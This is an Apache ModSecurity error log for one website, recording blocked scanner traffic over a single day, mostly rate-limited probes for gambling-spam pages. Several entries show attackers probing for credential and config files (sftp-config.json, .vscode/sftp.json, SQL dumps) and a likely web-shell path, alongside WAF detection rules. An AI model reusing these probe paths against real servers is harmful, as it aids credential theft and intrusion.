[Thu Mar 05 02:54:26.015090 2026] [:error] [pid 26966:tid 27028] [client 147.135.214.239:37158] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aah_4haIQuoePO_dwgdB1AAAAE8"]
[Thu Mar 05 02:54:27.857970 2026] [:error] [pid 26934:tid 26972] [client 147.135.214.239:37162] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aah_42DWd71V_nuoqWJhDgAAAJE"]
[Thu Mar 05 03:25:38.275661 2026] [:error] [pid 27472:tid 27539] [client 51.83.100.230:56330] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaiHMrt7N-W1OaN6b8r5WQAAAYg"]
[Thu Mar 05 03:25:40.545051 2026] [:error] [pid 26934:tid 26973] [client 51.83.100.230:40158] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaiHNGDWd71V_nuoqWJ16gAAAJI"]
[Thu Mar 05 03:25:42.387102 2026] [:error] [pid 26934:tid 26975] [client 51.83.100.230:40164] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaiHNmDWd71V_nuoqWJ19wAAAJQ"]
[Thu Mar 05 03:25:44.272934 2026] [:error] [pid 27472:tid 27555] [client 51.83.100.230:46352] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaiHOLt7N-W1OaN6b8r5bgAAAZY"]
[Thu Mar 05 03:25:46.224694 2026] [:error] [pid 27472:tid 27532] [client 51.83.100.230:46362] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaiHOrt7N-W1OaN6b8r5dQAAAYE"]
[Thu Mar 05 03:25:48.182385 2026] [:error] [pid 26966:tid 27028] [client 51.83.100.230:46376] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaiHPBaIQuoePO_dwgdFPwAAAE8"]
[Thu Mar 05 03:25:50.129902 2026] [:error] [pid 27814:tid 27897] [client 51.83.100.230:46386] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaiHPrPcbh1BHIHQb9KgMgAAANc"]
[Thu Mar 05 03:25:52.206462 2026] [:error] [pid 27472:tid 27556] [client 51.83.100.230:46390] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaiHQLt7N-W1OaN6b8r5kwAAAZc"]
[Thu Mar 05 03:25:54.058724 2026] [:error] [pid 26969:tid 27043] [client 51.83.100.230:46396] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaiHQplCO2K-E0MVfPPwCAAAAAM"]
[Thu Mar 05 03:25:56.180200 2026] [:error] [pid 27472:tid 27547] [client 51.83.100.230:36730] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaiHRLt7N-W1OaN6b8r5pQAAAY8"]
[Thu Mar 05 03:25:58.111017 2026] [:error] [pid 26969:tid 27043] [client 51.83.100.230:36740] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaiHRplCO2K-E0MVfPPwDgAAAAM"]
[Thu Mar 05 03:26:00.056082 2026] [:error] [pid 26966:tid 27021] [client 51.83.100.230:36742] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaiHSBaIQuoePO_dwgdFnQAAAEg"]
[Thu Mar 05 03:26:01.979601 2026] [:error] [pid 27472:tid 27556] [client 51.83.100.230:36752] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaiHSbt7N-W1OaN6b8r5wgAAAZc"]
[Thu Mar 05 03:26:04.087198 2026] [:error] [pid 27814:tid 27893] [client 51.83.100.230:36762] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaiHTLPcbh1BHIHQb9KgRgAAANM"]
[Thu Mar 05 03:26:06.136092 2026] [:error] [pid 27472:tid 27555] [client 51.83.100.230:60860] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaiHTrt7N-W1OaN6b8r51QAAAZY"]
[Thu Mar 05 03:26:08.023524 2026] [:error] [pid 26934:tid 26953] [client 51.83.100.230:60862] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaiHUGDWd71V_nuoqWJ2HgAAAIA"]
[Thu Mar 05 03:26:09.850862 2026] [:error] [pid 27472:tid 27539] [client 51.83.100.230:60872] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaiHUbt7N-W1OaN6b8r55wAAAYg"]
[Thu Mar 05 03:26:11.806153 2026] [:error] [pid 27472:tid 27532] [client 51.83.100.230:60886] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaiHU7t7N-W1OaN6b8r57gAAAYE"]
[Thu Mar 05 03:26:13.650070 2026] [:error] [pid 27472:tid 27542] [client 51.83.100.230:60900] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaiHVbt7N-W1OaN6b8r59QAAAYs"]
[Thu Mar 05 03:26:15.657499 2026] [:error] [pid 27472:tid 27548] [client 51.83.100.230:33788] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaiHV7t7N-W1OaN6b8r5_gAAAZA"]
[Thu Mar 05 03:26:17.660932 2026] [:error] [pid 26966:tid 27034] [client 51.83.100.230:33798] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaiHWRaIQuoePO_dwgdFpwAAAFU"]
[Thu Mar 05 03:26:19.448479 2026] [:error] [pid 27472:tid 27533] [client 51.83.100.230:33802] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaiHW7t7N-W1OaN6b8r6DgAAAYI"]
[Thu Mar 05 03:26:21.385488 2026] [:error] [pid 26934:tid 26975] [client 51.83.100.230:33816] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaiHXWDWd71V_nuoqWJ2aAAAAJQ"]
[Thu Mar 05 03:26:23.507952 2026] [:error] [pid 27814:tid 27874] [client 51.83.100.230:33822] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaiHX7Pcbh1BHIHQb9KgXAAAAME"]
[Thu Mar 05 03:26:25.457684 2026] [:error] [pid 27472:tid 27543] [client 51.83.100.230:48506] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaiHYbt7N-W1OaN6b8r6IgAAAYw"]
[Thu Mar 05 03:26:27.812290 2026] [:error] [pid 27472:tid 27540] [client 51.83.100.230:48512] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaiHY7t7N-W1OaN6b8r6LQAAAYk"]
[Thu Mar 05 03:26:29.896576 2026] [:error] [pid 26934:tid 26965] [client 51.83.100.230:48518] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaiHZWDWd71V_nuoqWJ2cAAAAIw"]
[Thu Mar 05 03:26:32.222258 2026] [:error] [pid 27472:tid 27546] [client 51.83.100.230:48532] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aaiHaLt7N-W1OaN6b8r6RQAAAY4"]
[Thu Mar 05 03:26:34.178481 2026] [:error] [pid 27472:tid 27540] [client 51.83.100.230:57318] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aaiHart7N-W1OaN6b8r6UgAAAYk"]
[Thu Mar 05 04:38:13.080283 2026] [:error] [pid 62435:tid 62473] [client 106.54.62.156:38846] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaiYNSMZJMDfZh_-8sWIhwAAANc"]
[Thu Mar 05 06:03:29.097018 2026] [:error] [pid 53350:tid 53381] [client 94.26.106.204:39114] [client 94.26.106.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/assets/images/accesson.php"] [unique_id "aaisMaO0Baxc5WFYeP1rgwAAAQY"]
[Thu Mar 05 06:03:30.918469 2026] [:error] [pid 62435:tid 62460] [client 94.26.106.204:41438] [client 94.26.106.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/accesson.php"] [unique_id "aaisMiMZJMDfZh_-8sWw1QAAAMo"]
[Thu Mar 05 06:20:09.601546 2026] [:error] [pid 53350:tid 53382] [client 170.106.113.159:45198] [client 170.106.113.159] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaiwGaO0Baxc5WFYeP10XQAAAQc"]
[Thu Mar 05 07:42:23.377596 2026] [:error] [pid 53350:tid 53398] [client 192.42.116.99:62645] [client 192.42.116.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.42.116.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aajDX6O0Baxc5WFYeP2fFgAAARU"], referer: https://gigfragments.org/xmlrpc.php?rsd
[Thu Mar 05 09:51:11.510230 2026] [:error] [pid 53350:tid 53378] [client 3.216.79.81:59910] [client 3.216.79.81] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".initial.sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/mysql.initial.sql"] [unique_id "aajhj6O0Baxc5WFYeP3apAAAAQM"]
[Thu Mar 05 09:51:11.536834 2026] [:error] [pid 41459:tid 41475] [client 3.216.79.81:60016] [client 3.216.79.81] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/install/froxlor.sql"] [unique_id "aajhj-dFBZEnZ3pzxrW0JwAAAUE"]
[Thu Mar 05 10:47:56.349844 2026] [:error] [pid 41459:tid 41497] [client 182.42.111.213:37468] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaju3OdFBZEnZ3pzxrXiUwAAAVc"]
[Thu Mar 05 12:16:05.628211 2026] [:error] [pid 62177:tid 62330] [client 43.135.148.92:52292] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aakDhRWSQc2OzPrsnwVflAAAAJI"]
[Thu Mar 05 14:57:00.986729 2026] [ssl:error] [pid 41459:tid 41491] [client 139.59.177.211:47998] AH02032: Hostname imlvenezuela.org provided via SNI and hostname gigfragments.org provided via HTTP have no compatible SSL setup
[Thu Mar 05 16:56:04.018135 2026] [:error] [pid 62177:tid 62312] [client 43.135.142.37:47012] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aalFJBWSQc2OzPrsnwWj7gAAAIE"]
[Thu Mar 05 17:08:22.739455 2026] [:error] [pid 41459:tid 41488] [client 84.239.47.12:44904] [client 84.239.47.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aalIBudFBZEnZ3pzxrXGCQAAAU4"]
[Thu Mar 05 17:08:26.042759 2026] [:error] [pid 62177:tid 62335] [client 84.239.47.12:4481] [client 84.239.47.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aalIChWSQc2OzPrsnwWm6wAAAJc"]
[Thu Mar 05 17:14:49.054818 2026] [:error] [pid 53350:tid 53395] [client 43.138.68.113:54236] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aalJiaO0Baxc5WFYeP3SmgAAARI"]
[Thu Mar 05 19:08:34.046663 2026] [:error] [pid 62176:tid 62295] [client 103.77.106.118:64219] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aalkMiNfTPJryi30JPnyzgAAAEs"]
[Thu Mar 05 19:08:34.265012 2026] [:error] [pid 41459:tid 41486] [client 103.77.106.118:64242] [client 103.77.106.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aalkMudFBZEnZ3pzxrUToAAAAUw"]
[Thu Mar 05 20:26:56.139990 2026] [:error] [pid 53350:tid 53388] [client 185.231.100.72:51398] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aal2kKO0Baxc5WFYeP08sAAAAQs"]
[Thu Mar 05 20:26:58.010651 2026] [:error] [pid 62177:tid 62312] [client 185.231.100.72:49152] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aal2khWSQc2OzPrsnwXbpAAAAIE"]
[Thu Mar 05 20:27:00.130591 2026] [:error] [pid 62177:tid 62319] [client 185.231.100.72:49158] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aal2lBWSQc2OzPrsnwXbqQAAAIg"]
[Thu Mar 05 20:27:02.099832 2026] [:error] [pid 62435:tid 62471] [client 185.231.100.72:49174] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aal2liMZJMDfZh_-8sWA9wAAANU"]
